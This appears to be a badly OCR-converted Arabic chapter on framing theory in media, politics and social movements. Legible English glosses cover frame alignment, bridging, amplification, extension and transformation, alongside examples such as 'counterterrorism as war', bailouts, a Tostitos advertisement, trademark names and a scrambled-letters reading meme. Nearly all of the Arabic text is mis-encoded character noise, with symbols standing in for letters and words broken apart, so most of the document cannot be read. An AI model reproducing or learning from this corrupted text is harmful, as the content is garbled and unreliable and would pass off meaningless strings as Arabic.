^ ^Jxj Ja jj^JI ^ ."jjA^ll X 25" c> V^j "(uj*^ c> cr^^ j) lean i> X 75" (ground meat) ? jj^l 

lean £y* X75 ^^-^Jl ^I^jjojV < ; ujuJI 11a j t^jiLuLdlS 4_ijiL^. ji^lj a ^ - ^ j5£l j^fi (j£3j ((j^A^ll ^ jla a Z25 ^a^£) 

(Jjc^j jl ^ alia a (j^>Iaj ^li^JI 4 Iti . «\\ .(Framing) jjiLUll s ja jl^-la] ^^-ic ^cLoij 6^.1 j Uiajl *u£3 < ^j'". 1 ^LuJI <JHa3! 

.l^Jp Jti\ i jaII ^jj dl£-aj tillil (Framing) ^ ^A1i.n U UIp Jti\ jIsIIaII ^> JjIS jjp JjUjj AJUll ^Lui^l 

(Politics) ^l^JI 

q\ (J^-aj ^jII j (JjLuijII jl cIj^^L^JI I^j ^L^aj c _^j3I Aij^Ul a Li > n n .^LojUjoJI ^jia ^ ^a^Lujj (Framing) 

"(Counterterrorism as law enforcement) ^£ jV^ ^^" cjIjUxJI ^Ull tSlljjJ ^ Jjill j£i 

jUJI jjjj ^2001 j^k^ c> 11 '"(Counterterrorism as war) s-j c_jU jVI 

(jlcli 4<-<iljj^ Jj£l CjLajUjaJJ JaxJI (JA JaIU Jj^XL^Jl L-jJUa U»Ajc (j^Jj .4_X»JJ^£ I^A (J-dlxJ (jl SJ */ , J (J^ Jj^ (J^ C5^J^^^ 

."C_JU jVI ^ C_JJ2J|" ALx^ JJ (JAJJjll 

^Jj^jjouJl jj3 j!l3 ^UucVI 2^^^)^^ (jl ^5-^.jJ ^jujVI .SAaaxll djUV jll ^ ^c>\ <u^.VI (jUijJall ^Ujj jA j^.1 

^.j dii^ ."(economic stimulus) ^^3VI j^j" "(bailout) ^Vl aL^" (jj^ik^JI jjj cJ^ikVI j* j^I Jlla 

jjq^Ml (j£3 j , jlSjlc. ^Jjla (j-« 5-UJl ilajj <a1£3 ^jjj^a (J' ^ajlx-^l (j-« "(bailOUt) i^VI ^Jiaj^aAll 

4_C-ljA-a (jl Vj t^^^jaJl (jjoij Ijjj^ (jJ^xiljjJl (jl c : *n^> > *ajSVI jjiaall (J^la. (j-G > <aJ S V I S^cLulaI A-n^i 6jjjL-a ^jojJJ > *ajSVI 

.V jja j5£l jj^VI ^ik^ SVijnn 

jjlaUll a I i^jLujI <jjj£ J j^. t^liill L->La c I (JU c^ill Frames of War L . L_a3j>»j ^^Kjjj Aj^L^. ilHJ 4 jiL j^. < . n£ 

;L_ai*JI CjVI^J ^Ic-V! (Jj^jjj jjjj^j c lLu^ _L_jjaJlj 4-i>.»l-i>.>i3l dj|^ia.Vlj j-«VI (3^*^ ^•^ c ' ^^>*-l^ dilitajll j- 

^Jl (j-« Aj^ j^. j dj|jj^j£ ^aA jUjcI tl^L^U L_J JJLjo) (jC ^^i^jll j j!>lijjajVI (^^1 j tAjjjaJl olj^ti 1 ^f*^l jJjj^alll oIa" 

(j£-djj 6^ j^Jl j tAjUaJl (jjjlsu 6(jjj jauoixi tJsLallj I j^aa ^Jl Jc (JjjUII ^VjA jjlalj Clia. ,AjU^JI ^ aJ ^ J (jjjaasu (jl^joj 

(5 jjjj^a (jlSjuJl ^VjA (jl^a jilxj t^jlij Jl Axijj (_$iilj ^jc^VI (jiaiJI J .^^UjIojI (jl <!j^oij 

j 4_>.>il-i>.>i3l J jjiaUll a laJLujJ dlla AiilS ^J!Lxs\ ^ jjuj dljou] 
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^jLk (j£*J jlaVl ; UajJ <ji ij .iUill J^lj J^VI 6 Jjlxul! tJJ^ill 4 jj<tttt JtEU -k*J f^Vl jlal 1980 (j^ 

,^jjj^3I jl ^^xi!^]! lLlj laJI ^L_lJjjJ^iajj Ia jj^j jll j^Jj djIjLaij 
jla J^*-!l I— Lajb (jj^AL^. I jjj^J (jl J (J^-*^ CjLg jlx-a Jc- <Jax]| (jxa (jjj^ > *all (j^J ^IcVI Jal 

tj>^ CllaJl ^ jjJa j>» ^A La L_flJ^XJ ^JJ A jm^ j CjI^VI ^ AjjoUJj Sj^S <^A ^IcVI ^>lal 1989 (J^^J UJ" 1 ^ S U>1 ^ 

# 4_ijLiajVI <1a^JI A_lla*J J juiTla ^a^lc-l jUa] ^A 4 U .^i^VI (jUjoj .1 
^"iljAl l^i jJlila ^^d^lcl jUaj ^A SjJiaaJI CA ^ aJL^YI ,2 

djUfUl JlLaJ j j;!^ t^S^L^ A-i^jJall t^-i ^>^l I^A (Jj^C t^jjjuiljm diLJlxi 4_ilaij3 juiTia ^^^Icl <J£jui ^A (jjjuiJ^a ^»A ^UjSVI .3 

.(JJ^Jj CA LlL S^C-j <aii^xi UjJ ^Ijj ^ 1 (J^ .1 (jla^su (jl lA jj,^LoJ (JjjJ <^Jl (Jjj^alij S^C (jxa (jj^* L — J ^ ^ 1 ^ q cJ^ 

.a^jJ^SJ > ^ ^ lajt-j <Jjoi^. (j;!*-* J^ 3 ] <J J^-^-l C£^)^l L>^J ^ V* a *SJjO J^A^-I 

^ 1» <o IgJ j» > !}\iLa3 ^Ist-xJlj ^jlll (j-d J^^^ (J^3 6 ^>^-^ <^ ^ (J -0 (J^ ^ilAxi j J J L>^ l!^ 

(jl (_^l t^^JjoJI ^ j^LJU 6^)^JI ^g-istj ;<J jjj .l^jLi. Jl ^!>U3l (j-a (Jj^^I^j (Jj^II (jjJjijIjjajVI l-jxj ^->ll ^^cUu^VI .^31 (jc ^>axj jA j 

,l^ilxjJal Jc (Jj^cLoiJ iill^Jj cJ^jl JjojI (Jj£jJJ J J^JI 

^Ijl 6(jjia ; j^l ^1^ ^;*^*^- jj- ^ tdal ^-gr j^j ^—^^^ <-!^ jUl^.1 s-ljj 
(Using Framing in Everyday Life) V*j^l j^atolt ^IjaI^I ^ 

CjUbljjaVI jl tia jjj^JI j 6 jlSaVl c> ^ '.^ ^j*! "{frame of reference) C5*^j-^l jUaVt" jtlla^Alt 

^jf^VI J 4jI tSl jfkj (Jja^s .(frame) cr*^ clA^ ^ j' AlijUl jl ^Ull dl j^aj jl (j£^j ^1 

j^tj t . (J jlal LLja l^JJ ^3 J;i^l C-H 3 *^ ( „ I^jaJ <jLlx»l ojjojl! L^cAxi ^jl£ <j|j i\ nt ^ ^jj 3 ^lj Jj ^^^jJaUJl 

^f^jl (j-« ^)-^l ^ <-5^^ ^ 1 a cd*^ l^£jLuj ^^lill jLikVI (jl (j>» ^^1 J^ * lS^*^ a 
jl aJLuj U3 jic (jla 4_joi jjoui ^Ujujl ^SLi Ui^ic. .{chaos) cs-^ j^l/s-^j^^ ^>^^l jl " {clutter) j-^^l" c_ lou] U3 jic ^ > ^ 

. JU3I J£ai3l J liA ^UuA^U jA<Jl AJlftVl ^1 jj^l ^ .W^- 0 J J->^ ^Uaill Jx^ 




J t*Ui Jxij (j^J .^UuiVl c> ^ -^^1 ^W^j ^ ^^11 ^ U j ^jakJI ^ U a^L ^j-aUJl JUJI jUaVI J 

. jj-dVI £>iA J 6 ja. j (_£JJ (jl ^ajl JJ^I .^La^JI j t»l > ^aill j jjlsJl 
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AjjJIj <Lojj ^ ^cjJali (jl clA^ CS"^ J fchClOS) J^'/S- 5 ' jia^VI ^ ^Uaill <JJ^I J J^x-ll Aa^J ^j£3 ^aUuA^U Jjlft J^l Jlia 

.liA (JlLa CjJj 

0 lny srmat poelpe can raed tihs. 

1 cdnuolt blveiee taht I cluod aulaclty uesdnatnrd waht I was rdanieg. The phaonmneal pweor of the 
hmuan mnid, aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn' t mttaer in waht oredr 
the ltteers in a wrod are, the olny iprmoatnt tihng is taht the frist and lsat ltteer be in the rghit pclae. 
The rset can be a taotl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae the huamn 
mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh? yaeh and I awlyas 
tghuhot slpeling was ipmorantt! if you can raed tihs psas it on !! 

^jjjilVI ^jjJl J^U. ^ l^ill^l tiUi ^ ^Uua!)U jiL<J! * jaJI CjUJ j& li& jl£ lil U l^tl* dbuJ 

>(J jJa jill (j* ^Uaill <J*-a> <^ 1-^. 1 m <ol iA^yW (j-a J^^l <J^ (jj^ 

jl Jj ^ (jjj^ill ^ li& j^JI .[more subliminal) "cs^j^ uj^" j^JI uj^ ^ I ^1 

6^J^C Clllj-G Ajjl J ^ L— lj£ £(,5-^ J(£ laJ ^Ull <J£juJI 6(Jl!l<Jl J-iJjuJ ^^ic 

?(Can you spot the frame) j^a^t tiLiS) dll*j 




<x-nia3lj ;<cjjoJI tA£^pJl tjj^l jlil! tilLlA (jl VI . (J "^J \^ djUi^k (jc ^J_^ J^-^l ' UJ^ 1 ^ <-!^ jlxjaJl 

> oil l!^^ > ^jj L — J ^) J ^I 

JU3I J^l^ j^l foVl^^^^l 




4 https://www.facebook.com/tibea2004 
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CjI jIxjoJI ^ m ^ JjLoj j ^ixuialj ^ j^j jjuJI ^ j£c ^Axi C5 ic . (Framing) ~ ^lill 0.11^ jll a£ jjuJI cIlou] Sj iia 

Ja 

?(Do you see the smiling happy customer) I ^'"V j J^SI <5j3 J* 




U^J ^JJ 1 ^ 4_x»La£ijVI ^ 4_!!L<ui tjj^ix^ ^xjuHjuj ^^^jII d^IxjuJI j& *la.lj .Ia jLljuj ^ <lAjJala ^iiati (JjjlLolJ (JjjLaVI 
.l&ilJj Jataill <J£ jxa ^C^ 1 UJJ^^I Cf^* 4 (^y filVI (J-a iS^) Z A L>* .^joi Ljajl <^A <LaLu£LVI 

.^JUll JSJJI ^ jjjj U£ 44jU11 ^Ui^l jUJi ^a 11a .Tostitos Jlia jll 

fU (Chip) ^StS jll <£jLia ^ ujpjj dk^j jbuilt JiiJl 




ToSVtToS 




jAj^I 6 2004 ^-C- (^ .tjualLuJl j-a ^^-C-J (Jj3 4ili^)3l a > ul flJJ (JjjUII j-a U^l CS"^J ^ ajL * 1 T L>* O^l (jl AaJ 

^tLi^VI cjVL^jI eL&l ijte- 6^cLawJl akl AiiLk j£ Uj^ Ijj^ Tostitos "u' ljq^>^> UUj Tostitos 

obaJt Jl j>^J ^P^JI jU-uJl .<jiaju UJ^ f JJ l£ JJ*Vl Jajuijl jl <" "J^ ^ tSUi jl£ ^1 jjoj tdi^jUJl j 

^jjdJ^Ld ^>^L<i ^1 CilkJ (J^^ .AIajS (jr^iVn jl ^JjJ (jl (j^J J> 4jJ L_fl^Jl ^jl jjj^j ,L_fl^Jl 1^£jAj ^^jII A a^W ^jc j& l_JUl!I 
^JLxJl li^ (jaj ujJ (jjdJ^LJl ^jl (jj^J (Jl (J^J ^ JJ> .<J-a^ ^ ^JJj3 t^Jalo tA^^J (j^* - * ^(,5^ l!^ (jl <ilAi (J-<^1 

(J-d j L fl^)3l <JUa ^jjdJ^LJl (J-d (_^^>^.l ^la3 (_^l jl/ j (jL^akl! j (3^^ ^-^U J Clu3 lil tilli ^ j tAsu .(J-gJ (J-<i ia^Ull 

(Jja (JlilLaj (jjdj!>L<Jl (Jja ^jj^aixJl 11a (J>i 

j^Ull a I laJLujI <^^.U3l CjI^jjoJI (J-d ^J^xJl .4 <u£l] jj^^Jl jjj^j jjilaUl AJjL^xi 6^)AUa3l d^A (JjixL ^Jjjaul! oijl^a. 

U (<U 11a UjI ^311 Jj^JI <> ciu£ !ij VI) <jjL^! pU^VL ^ ^ ^ uj^ 5 V ^ ^1 -dial 
.(Aspirin is a trademarked product of Bayer) j^L ^jUJ gH* ^a (jjjf^VI 
.(Thermos is a product name of Thermos GmbH Company) Thermos GmbH a^j^J ^ ^a ^jilt 
.(Band- Aid is a trademark of Johnson & Johnson) uj^ ^ uj^ ^ ^uW^ ^ <J jVI CjlaU_^VI 



https://www.facebook.com/tibea2004 
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Frisbee was a trademark of Wham-O 

(jj^)JjaiVl <J C$ ^ .^J ^tlLd ^1 dlLojuj c fll in a\\ AjI^J ^ C5 jc^.^<JI (JjjUII jUaV <Jjou31j 1^. 4 jjt ni dla^a) s-LgjoiVI <J^ 

J^ixjuj (jj^lj tlA^Jj! ^^jll 4_jjL^i3I ^jojI s-UacL "t^jj^JjujVI (j-a LH^" L_llla) (j^Jj ^>^.l ^ ^"^^ 6^lc Ci5 -^j 

lg_xil,lkjjuil (j£-aJ ^^1 J ^JjjjjJall <JjaUJ^)3l £_£^Ua3! (jsy* )\ CjLg jlx-<Jl £>i& (j <n\\ V) ^aJ (j£3 j 4 j;llaU3l <J CjLg jlx-<Jl (j* CjLia£ Aa> jJ 

<jl Jjs .SU^JI diVl^a t frV^ ^ ^ *Lal^Viml ^ij c aj£ j j/b Ls j j U nil Iji^ a\\ ^a j-q <LLaJI CjLq jl»_xJI <c ^ (Jjj.V^ 
.(Frame Alignment) <i*' jV^I i> ^iliLJI ^1 jjVI s jlaj C5 £ka t^Ui^VI 4_-ui.%II <^Lo> Jl 

(Frame Alignment) j^aVI <> 4*jJ 4. 
4-^Ui^VI t& j^JI c >^ ^ — (Frame Alignment) j^V^ ^ 

(jjj Ai^lxJl Qts* jj" (j I t^i-v j Uj£ ;l£juj|^)fj AjtxiL^. (j>» ^jjiij Cj^)Jjjj UjjjjI 4 ■» a\ *\ (j>» jiui .liiLp 6(jjl^.L3l (jxa 1988 J 

(Clarifying the Relationship between Framing and Ideology in the Study of Social Movements) 

jilt ch\ jllaVI pj^aj 4il jjljijj j\ ajj*j3I J jj^ak; [Frame Alignment) u) 

"(frame resonance) lS* 1 ^" ^ 5% ^ *' '(Frame Alignment) J-^Vt ^ j* " < lW£jII j jLauVI gi 4-Saii j* 

'.(framing efforts) jZj 1 J^h -ksj^ 

jj^ "(The robustness, completeness, and thoroughness of the framing effort) ^ja^j Jl^tj 64JHa" 

_^Jj£jU1xJ| Alisu jl^i Aj,^M dijjJa^. j i 4_LajLaj| ^al^ CIl^Ij ^jjibj 

.^jlll ^> <JUVIj aj^^j] (diagnostic framing) ^ .A 

.<S£Aa11 cj11u£j3Ij cjU^jj! jIujVIj JjkJI ^1 jiiaV (prognostic framing) L^LA^/ch\jin .B 

.U JaxJ Sj&j c^aJ lij (motivational framing) j^^^ ^^j^ .C 

(r/i^ relationship between the proposed frame and the larger belief system) j^VI jISjpVI fUiSj ^jjIaJI jUaVI 

^jIv^t a jJjirM jUaVl ^I^JjojI cila^A ^3 Ld) La^li (jj^J (j^>^ >'Ml CjlVqlr a ^ y*. £a ^flJ (jl ( . LaJ jUaVl .(Juiqjm Ai£U3lj 

.^■Uall ^ aj ^li .(ajjojLojVI 

J-^ uj^ "(Relevance of the frame to the realities of the participants) l^jU^aJI lP! J^V 

,L_fl^Jl *^^>f^ AlL^a c''*n^> ^ jUlk^U <Lla j (jj^ajlLj (jj^J (jl t . lau ,(L_fl^Jl) (j^akjaill L-LujLLq 

(j^st-llaJjoiJ V (JjjUII L— (J^J^ ^^>^^ ^J^V:"' il^jl ^^^ic (JjjU3! ujJ l^jLuj (j-<» ^^131 (JjjjaLiU jUa] ^al^Jjajl (J-aU (jl V 

'[Frame Alignment) j^V^ J - ^ .cJ^^ ^ * 'C&.j*-^^ <^ j^ 3 ^^ ^ i^LujI S^i^. U^<» jJ3 ^ - m <J>^j 

/ fl>^Ji Jac ^ Ja£a J^^^ ^ (j^ c^^- ^ ^ J^J (jx» C-ulo (jj^J (jl ^ajl O^J ^ ^ ^ Cllli ^J^i (jj^J VI 

( j-djlj (jialail j A£jjoJI (Jjoij Ifr^LaJ ^^1) dljljudjl ^ K a 6<J (JjJ j 4 jjt >*>1 Clili jllkVI J ^lil 2007 'cJ^^^ C-l^f^ (^C- 

LdAk. ^^Loj^l! C ^.>.»L>.»VI J£joJIj J 1 g ^jWlj 4ij^x-<i Cijl^ ^^lill (jA^u^l ^ja's (JjjjIa^ j - U»Ujl tillijl ^^jujU^)]! ^jujj>JI (jl 

(jxi ^.L^. <j|j cA-j3l L dlli jAlJj t^Jtilj jUa] ^ U-^V ^liUJ 4 JJ^^ c^-^- Jf^^ (J 1 ^ 3 ^J^xJl (jli (5jllkVI jjjilill li^ J^a 

\^A\ diL jj c _^i3l ^ullill j£i j <j^a£3l djl£ (jl c fll un^V t(jjqq^ ^ J^J^ J 6 jW^-^^ J^"^ c3J^ J 'CNN 

(jj^JjJ (jjill (JjjUII . jllkVI- "<LlaJl" ^a^lcVI C3J^ J -0 J^^>^ ^al^klajl <il>.a.ft ^ (JjjUII CjljUal JjllxJ C5 lc JH* I^A 

(jjjUll (j-d J^*^ ^ ^ - gaall oi^ (jl CjL^jVI CLlLaU^I LdAlc ,<j^k3l tilij £A I jjujLdJ ^Lm^ Jj^I (j>» (jl^ UiUjI (jl I ^ - (jl 

.c5 *^ 
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f'^Uhtf I j#tflt IaXU\ JfeUUM j JU1I >*a*il ^JJt Jj±>JI Js jtLVI jjil ^311 tlH31\ .^U^Vt CjI jjJ" 
(Cycles of protest; the point at which the frame emerges on the timeline of the current era and existing 
preoccupations with social change) 

AjljoiVU <J-gI£JIj ^juaaJl (J^aa^a Sj^a ^ * c — i ^ ^} Jj^l^ -15^ a'l^ VI J^V^ CS"^* J^J^ ^Jl*-Sl J ^v^J La 

.(IfcJl jlaij jl c^l) JajtaJl ^jju/^cjJI Jl SjSflll £>AA dlLaj] t^j^Vl ^JJji-ll CjlilSSSl jl S^lall CjLV jll J Cj\£jj^13 4 Jibuti 
JaLixJl ^JJ J^ 0^ ^ sJ ^ Jj - ^1 laJL ul <jjjla jc ^JaLuUJ ttil^LdVlj Jjj^adll AjJa <£jslx» LojI,j ^a ja>J 4 u <~i 11 g.1 I*.* < 
£x»j ,^jj>LJud^i3!/<jalj>Jl CjVI ^C>>liA CA »j;^ ^ j£-?* 4_a»aJl ft^A (JjSJ .till ^ > alaJI (jjjjaJlti jl Jj^ > ulS Sjj^-a jjS jj UiJJj ^aLaJI 
Jc^ fJUJ! *UJ| £Laa> J diljlkJl J CjVVI £>i& t t \f\ jj ^ ja> jVI ialuul] £li2jl j jf^ufui 1 1 J ^J*' CjUaJfc Aju tciUi 

.^4 > J^ ^^^Vl ^ J*^ *^ > <iti t»l jajuUti djlAjj^ j* ^"J^ 

. J j^lb CjIjI jail j* Jj^J ^-UjoJIj *UL1I ^Ul^VI jUaVI jjjAj <jV ?liUJ 

(JILg £>ua^<Jl J AjljojI j dll JJJJU (Jj^* 6 £^jVI -JaULlI £>iA J ^jJa j* j& Lo£ 4jjait_L<Jl jlaVI S-Uj ^JJ Ld^jc <j| j!Sal Jjjibj jiai 

(^g-Af^ll (J J^-^ L>^ L3^ ^Jj^-a cJ^^ .(JJJ^VI ^ CjljUaVI '^u*e>\ j-d/oliL^xi L_JC.jJ ^ uj£ JaSS jl/j ^^-^ *1^VI 1^ ^ 

^L^jll jAjJaJ jl I g j£ aJ tiL ^aLkll <sujill 6liL^<i/4_xipl 4j ^aLkJl jUaVl ( ; lla .tilfljj jJ ^1 t a.^j C^^l j^VI (JJJjl^ J^aj ^ 

JxilU 4^jla3l Ajjlajli jj-^^l c^^* ^>^V1 . jqunti <Jaij j-d I^jI ,\n f >n jl l^Jl ^A CjljUaVI <J jl A^.1 j e-^x 

m jjJaUll ^I^Viml ^^ic JJjJ ^aixJl £a j ,(j^>^ uall CljIjJjkJl j CjlVqlr ^11 jA jaw ^^ic ^ jlaJJ ^^jll j 

(JLLyi jijulsJ) Frame Bridging 
j>» jii£l jl jjjjl jjj Jajjll <j| ^^ic Frame Bridging L -^^>* J * j1»_a13 4_jjU^jjujVI cjLojIjaIIj ^U^a^^ll jjjjU» 

jU^j UKiA 5Jaj| jl<» jJC^ j£3j Ua.j3 j^jl/Ujia <ajl kull CjI jUaVI 
cill£ <Lj . Jj^a jll 6 jaA AaJ C5 la. Hue ^aA jUaV c^l 9J j^L tiL ^j-saliJl jUaVU ^ ^* ; ^/ ^tjjcVl ; (JjjUII ^l^k (Bridging) JJ"^* ; ^ 

.^J o-aliJl jUaV! Ui^Jl jUia^V Ai^ll iaJjl cilli ^l^l^l 
(>— iAaJ jl Ajjj tiljl jA <iL (j^aLaJl jUaVI .diLa jIslxJI j>i <xJaS jl t^^^iixi ;<aial<i Jj (J jj^ jll Ajjj jj^ jl j^xJl j-« £j^a jJl 

j^ L-jIjjSVI dJ jL*. lij b 4j ^Uill <1 jl ^ a\ L_iAli dul Lo ^jsu V AjI .lilflS jJ jl SjjjjJaJb ^jjjJ L-Jjj^j ^ill kSJI jUaj .tilli 

jil^ajfl (J^U ^ jii 4iU JUIUj t^K klo jc; <1 <jIi3U tiUUS jA jUaVI c^ill ( *J^a jll 
Jj <ltajj| cJ*^ jl j-ft Jll <l^a jll ^JJ 4-1 L&*-H J^aj ^ cilj^Qj AJixJl Sjlaill j 4 jjJ tL^^Jl <iila j j!^a. jxi 

. JJJ^J cJ^I ciL o-aliJl jUaVI 

<*jjill j* <*iI3! ^j - ^ ^11 c_jljjaVI tiij Jc^ ^ill *M jj^j < ' a t ^ 9 -^^(Pretexf) ^jj^I ^ 

pjLujJ lS^-J jC- o lS^-^ CjI*-Ua1I ci^-J C-U^S t — * J^ "^1 jJl U^J^ 1 " 1^ jl ( . La>J Ai^Jl LS £-\ ^I^VI ^jjj.V^ ^11 

# <suji£ j^3 t^^cLol^V! (Jjj V^ (JjjJ j tilLAju L_a jjoj <j| c aj£ <a jjl-q ^^-ixj L_fl^JI jUaj ,b jj^II 

jl JjjJ JJAxJl .USi j^JJ jl AjJJ itlail .^JjI j jl 6 ^5^^ t^jlj '^1 jjj jl jJ^>^VI j-« Ajjj frft j^ij* AS > j^l 

j^^^-Vl ^jjj ^aauuoll jl jlaVI ft^A .tilauJa>» 6jjJ jl jj^aaJl ^JJ J^l cJ^^I .^J^J (jl Cf-^^O^ .La£aJL<i j^JJ 

jl c^^i tcilauJa-d t^lj jA ^£ ^jj V (_^ill (j^i^ uJI '(heckler) uj^} > ^ W j j t ^ ^ ^ jl£ jl liL^ 4^jia j£31 JlxuJI <!La. J 

jUaVI liA J ^Al. jSII jaIujI lili ^jjjJ Jaia jl t^l^joj ^jjjJ 4 jjfjJalc. (heckler) UJ^} ^aloJ l/j jx JalLill jUaj jl t Jit >il ?(jj| j 

oliLa^ Jc Ij^la jj^J jl ^-j^a (j-aauuoll 11a J^J jjl j^ ~& * ^-Ij^^J I Q J ^ (j^^'ij J^ O^J 6 ^ J^> j-« (Jjjlill (_pasu J;i*J A3 

j^ta 4iti i(heckler) (jjl^al^l/^JalLJI ^ J^UjII ^^"-^ ^ill j^3l Ji<uJI .«u ^UJI jUaVI J *^ ^Ui f^^j l^j^V^ 

S JJ-^ ^lalLJl ^lAaJLajlj tUjLa. <J ^aLaJl jUaVI j>» AijLa^ £j^aj Jc 
^jiasu Jc ^jlajj j£J j t^^cLua^VI (Jjj Vi^ <^ll Ig aAaJLujJ jll ^5 j^ll j-d l^a.1 j jj^J jl j^J (Bridge) ^ J^l L - J l^ J^aVI ^ajI j-« ^-^J 

.Ja. J^ tSljJ jx» jShll JI^&VI 
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Lo-oj 4jj^)J Uua o al] L-flA^Jl Ajuj SAoLud-o (j!>la. j-G jUaVI olila»x» (Jlajuil j>* jjlx-oll (J£juo3I Ia& j-G S^lilLoiVI j^-<^ ^cLalaVI (JjJ 1^ all 

^jjdiUI -Ci5 ii3l ^ca3I L_jjAL<i jUiicU J] <J jll 4 Ijl a <ij (JlixJ! jail t^^aj ^-i>.>i1-1a3I AjujaII (J^Lk j>* ^lilicVI Jl jj^'^j 

j-<Jl CjAajj jjaiaJl ^Lau! ^jj ;<illi I jIslS lit .^caII l_)jA1g j-a L-flA^Jl c^aII jUaVl (JjjLLjj j^ ( ; AjlIIIj ;CjIjAVI 6<iL (j^aLaJl 

(jLLyi £Mj>jj/fj-\ i au) Frame Amplification 
ilcux* lU^j ^aII isji^l jUat iaj^iij ^iajj" Jl ja^j t jiJ 12 j '(Frame Amplification) J-^V* e^jV ^ » ^ 

jjajllll (Jila. j-G .L-flAgJi (Jlllvfi* a jl ^Jls1\ 6 Jc« jjajllll jl t^iajJalL ^a jflJ L_fl jjoj tiljj 6(_£ja.l SjUxJ jl ".CjlAaVI j-a 4^- ^ jl 6<S£jaui 

.(maintenance method) ^AS jll ^jj^ 3 J ^ LluLJ ^1 jjVI ji&l 4ji J& ^_L^a j as 4_**l ^Jl/Slita^JI j* ^ jill 11a 

CjlAa.1 Uaiij-a jj^J (jl i— lAaJI Ia^J ^joij c£A3lj tlA jjc. j>» jjal <iU CliAai] f^J^ 1 ^ '^LiljVI j^JJ Jc- iSj^^. ^J' 

jjJall cjL^jujUJI jc (JjLuJI JtLJI J cj jaJI j* Ulxi li! c qmi^II ^ j£ (Frame Amplification) ^iujaiill jliaj ^^ic 

/dj^VI CjIa^JI j^ Ia 1 1/9 (>< ^ ^ ^ cJ^ ( u ^ q J j 'W^j^j 

lA jUal JaJ^)3 jj^all ^jojUJI dil^jjai Cll^xJ CIjLa^JI (illj ( . UjuoJ (JjjUII jxi Jjll^J jl Jjilall j-d j^Jl t ; llNj 1 1/9 C-jl^l ^hVlmlj 

.^1UI ^UJl ^ CjljlkJl ^ Sj^VI 

IjUj jl ^lilicl ^£J^ jJ^Jl (j^aLkjai!>l! ( ■ UjujJj jUaVI (jJixJal ^^-^ 4^I^JjujI j^»J <jl ^xia iJalll J^ 3 ] ^ C5^>^^^ *^ JaUft j>» 6^.1 j 
jUaj ^aA ^aJ ^ - ^aJJ ^jl_£L^.I 4_J^)^.j 4_Jj^ j - ^ Si J jjAfllxJ jjill j>» AjAslSI 4(JH<Jl J^f^ (^5-^ ^UjcVI li^ jC ~* i qjjl J 

.AjjjjuJl AjljoiVI j-o d ati^ ^ 

j CjUjIj 6<1xJ^q j;iC. jl <Ldl jjiC. dul^ ^^lll (j^a^ill (J^>ia j* ^ \i» ^ J^. c _ 5 lc jj£jli3lj I j-olfl J^^l ^jojUJ! jJJt-L^o 

L— il ^ > J all ^ (^jII j ftJj^aJ! lAjUal A^uJaJ CjI£jj^a3) ."aJ^I^II (jjdJ^LJl ^ J ja. Jlo ^j^aj^aS jjii Igj) L_Ua ^aA jJaj 
,^^)a.Vl (J^)ia3l j-dl J J^-J jUjdJ dii aSI jxi ^jujIj (jUaj ^1 iklLaal J ^UUi! l!^ 3 ^ Ajj JJ^all 

c_JC. jj A3 <ua.VI (JjjAI^xJI ;<JHa3I J^f^ / alia a (J^>ia oAsu dAA *Laj! j^Jl/oliLa^J! jxi o^lilujVI j^-^J ^^^C-LalaVI (jjJ^i^xJl 

Jaxj A3j Ala. j£JdJj 6 Ala. CjUliill jxa ^alaal] Aalxl<Jl (J-dlxJl ^-»Jji .£3 ^<Jl ^ 4_xiU^I <alalxi <J jj^ jll <a-L<J j-al ^jjjjla. ^U^j 

jUaVI lAA ^Ja > >i1 .a£jj^13 ^LlaVl <J j>ui^l JldJ U j tdjUllill djU£<i Aa.V JJ^a jl duAS IaI JjJail Jaxj I^jSI j tUAa. j 

,cilaAA (JjAajl till ^-Ldjual] <Ja. JjJaal ^a3I j j^Vl (^jla. ^ ^<J| till ( . llaJ jl A j£ 

(Frame Extension J J^VI k / AV/ 

ttilli j-d ^aAVI j 6^3U^<JI j 6^)Iai3l Clal^a j (JaAaS jjL<JI jUaVl A jAa. ^Jjoj jJ J^la. j-d jjajLuLdll ^-Ij^V ^^>^ jA jUaVI AjA^j" 

<l*a. ciljl^j 

o^LjaxJl Cljl£^)aJ! (JajujjI a^JjUaj AILqILuj ^LiliJl jl "f iaaJi" CjIj^LixJI jjAjjj jjill Clalcl ^aJI jl <Lala A\ 4_ijla-<»Vl 6 <J\_!L<iJ\ J^f^ ^^^-Sc 

,A-iln3l ^lala^Jl pi jj (3^^ jj^*-*^ r 8 ^ ^ ^Jax daj ^Jl Ijjfdxi 
jl j^J pl jC-Vl j-d j;ist-<i jloui j Jj^VI jUaVI c <>■» > >i1 jl j£-aJ l^-jl jUaVI CjllaXo ^alAaJjoi! j-d ^laLa^Jl jli ttilli £a j 

J t . Ujuu]| j ^jauj^ll jUaVI J a" l flUa^ll AjI^J J i j^*-* J^j J^j dULala jxi J;J^I ^Ij^j (J^^A 3 j^ (*^^^ j^*^ ■ 1 ^ J 

.^UuaVI jlAaa 

^jjjA1^£ ,Aju11a13 !>lg_jujj ^JaJjudJ A;i^J 4 jUaVI jj/olila-xi lAA ^alAaJjoi! Ajc ,<JjJaaVI ^UaLoull - uJI ^ jlaixJl Jc 

L-JjjIj LdAjc .ILLoj IaUjuSIj jll (ElicitatWn) ^ /n>>iVI CjIjI^x J^la. j-d jUaVI ^/olila^ j-d ^jVqlll oAA ^Viun A3 c _^c.Uua.l 
Ajuji ^alAajjojU jal j Ia^j ^aUuAl ^1 s-Iaj] jjA j^ ^jI^jjoi jl L_flA^Jl jc CjUi jlx>Jl ^aj jl ja-^j l^jli 6L_flA^Jl j-d ^^cLua-Vl (Jjj V^ a\\ 
\ ^jlc J jj^aail Aaj lU*^ ^ C5^^ L - J ^ xi J^*-^! "(j^aJI" (^cLua-VI (jjjAi^xJl |AA ^ k*J L_fl jjoiS . Jjoal^a 



4-u!a ^^a-Lua A^a-a 
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(Frame Transformation) jP*yi <Jtj*3 

JaLojl J^JaJ i a , g&\ jj ^ ^*«v ^ ^J^'J 6 ^ ^ A-^.jjLall jiaVI (JjSj La,Hc AjjlL-a A_lLoC jA jUaVI J J^" 

jl t . Ujuj J| J^l 6^J^JI £L^^Jl ^a^lj ^^cLdl^-VI (JjjAI^aII 6(_£^kl 6jU*J jl ".6^ JA. J>Jl AjJJjul£j3l JaVlj (JJJ J^ll Jl J jjlijj]! &Ll^J\ 

